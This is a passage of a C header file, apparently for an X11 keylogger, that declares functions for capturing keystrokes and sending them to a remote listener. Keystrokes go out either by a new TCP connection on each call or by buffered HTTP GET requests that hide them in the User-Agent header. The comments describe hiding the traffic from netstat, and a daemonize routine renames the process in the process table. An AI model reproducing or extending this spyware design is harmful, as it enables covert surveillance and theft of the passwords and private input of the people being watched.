Transmit keystroke to a remote host, where some daemon is required to listen 259 | * at the given port. The TCP connection is newly established upon every call 260 | * to this function; this is inefficient, but also offers advantages (e.g., 261 | * chances are lower that the user will see a constant TCP stream in netstat 262 | * output, etc). Returns the number of bytes read, or negative value on error. 263 | * */ 264 | int transmit_keystroke_inet(char* key, struct config_struct *opts); 265 | 266 | 267 | /* log() 268 | * printf() wrapper, taking care of debug levels 269 | * */ 270 | void log (int level, FILE* stream, const char *fmt, ...); 271 | 272 | 273 | /* daemonize() 274 | * Daemonize logger. If a process_name is given, the name of the newly created 275 | * child as it appears within the process table, is altered. Returns pid of 276 | * child process, or exits on error. 277 | * */ 278 | int daemonize (char* child_process_name, struct config_struct* cfg); 279 | 280 | 281 | /* smalloc() 282 | * Secure malloc 283 | * */ 284 | void* smalloc (size_t size); 285 | 286 | 287 | /* clean_exit() 288 | * Clean up and exit program: Close open file descriptors and free memory. 289 | * */ 290 | void clean_exit (struct config_struct* cfg); 291 | 292 | 293 | #ifdef _HAVE_CURL 294 | /* transmit_keystroke_http() 295 | * Transmit keystrokes to web-server within a HTTP request. For various reasons, 296 | * not every single keystroke is transmitted via a separate request, but a 297 | * keystroke buffer is being filled up to KEYSTROKE_BUFFER_SIZE, and then sent 298 | * as HTTP GET request to a webserver (default: 64 bytes). Keystrokes are being 299 | * sent as value of a HTTP header field (HTTP_HEADER_FIELD, default is User- 300 | * Agent). 301 | * */ 302 | int transmit_keystroke_http(char* key, struct config_struct *cfg, int sendnow); 303 | /* curl_blackhole() 304 | * This is just a dummy write-handler, in order to prevent libcurl from 305 | * printing the web-server response. 306 | * */ 307 | size_t curl_blackhole(void* unused, size_t size, size_t nmemb, void* none); 308 | #endif 309 | 310 | /* If -l is specified, update the line-buffer (which is flushed only after 311 | * ENTER is pressed. */ 312 | int linebuf_update (const char* s, struct config_struct* config); 313 | 314 | /* Replace a sequence of 2 keystrokes into a single new one. This can be 315 | * particularly interesting with certain modifier keys (e.g., on German 316 | * keyboard layouts, '@' is typed AltGr+q. Instead of showing VIS_MOD_XXX + q, 317 | * we can replace it with the correct character. */ 318 | void merge_split_keys(char key, const char mod, const char replacement); 319 | 320 | /* Print usage/help */ 321 | void print_usage(char* basename); 322 | 323 | 324 | #endif // _X11LOG_H 325 | 326 | --------------------------------------------------------------------------------